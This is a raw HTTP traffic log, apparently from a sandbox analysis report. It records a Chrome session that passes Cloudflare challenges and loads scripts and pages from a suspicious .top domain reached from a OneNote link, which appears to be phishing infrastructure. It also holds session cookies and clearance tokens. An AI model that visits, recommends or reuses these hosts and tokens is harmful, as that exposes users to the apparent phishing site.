Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c89969212cc4/1729844388924/rSvfPn8XhGh_Nsi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8d80c89969212cc4/1729844388929/5eadf65b7d473da6d458a8220ab69f9d3a7ee284b0248a8c799226ec83abc5f1/bVBT0grcB4evuz1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/288705193:1729840334:sRaDFh_5wkaOFbDBegsq3qEaLLwQYyThGHzWC0p4_to/8d80c89969212cc4/sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c8d89fe42e6c&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c8d89fe42e6c&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8d80c8d89fe42e6c/1729844400481/32016c076dea6cba5de731f260bbe8772a2767f25e2623355dccd2e02a5bd427/DYlyp4xSuaGJmfa HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c8d89fe42e6c/1729844400485/hwBDZeVNXBV8bI8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c8d89fe42e6c/1729844400485/hwBDZeVNXBV8bI8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/rc/8d80c8d89fe42e6c HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /aHBkb0tkTlVXdFZtMnJhrobotaHBkb0tkTlVXdFZtMnJh HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
Source: global traffic	HTTP traffic detected: GET /&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570 HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /js___/671b54c597db9-df9266ed069883385b9ae264cbaeed5e HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /b_/671b54c597dcb-df9266ed069883385b9ae264cbaeed5e HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /js_/671b54c597dcc-df9266ed069883385b9ae264cbaeed5e HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /js_/671b54c597dcc-df9266ed069883385b9ae264cbaeed5e HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
Source: global traffic	HTTP traffic detected: GET /js___/671b54c597db9-df9266ed069883385b9ae264cbaeed5e HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
Source: global traffic	HTTP traffic detected: GET /b_/671b54c597dcb-df9266ed069883385b9ae264cbaeed5e HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
Source: global traffic	HTTP traffic detected: GET /homefbb248dcd1c4bc69ef98638dad6c7831 HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
Source: global traffic	HTTP traffic detected: GET /css_/Zo2YFg5bgdpMLsD HTTP/1.1Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; 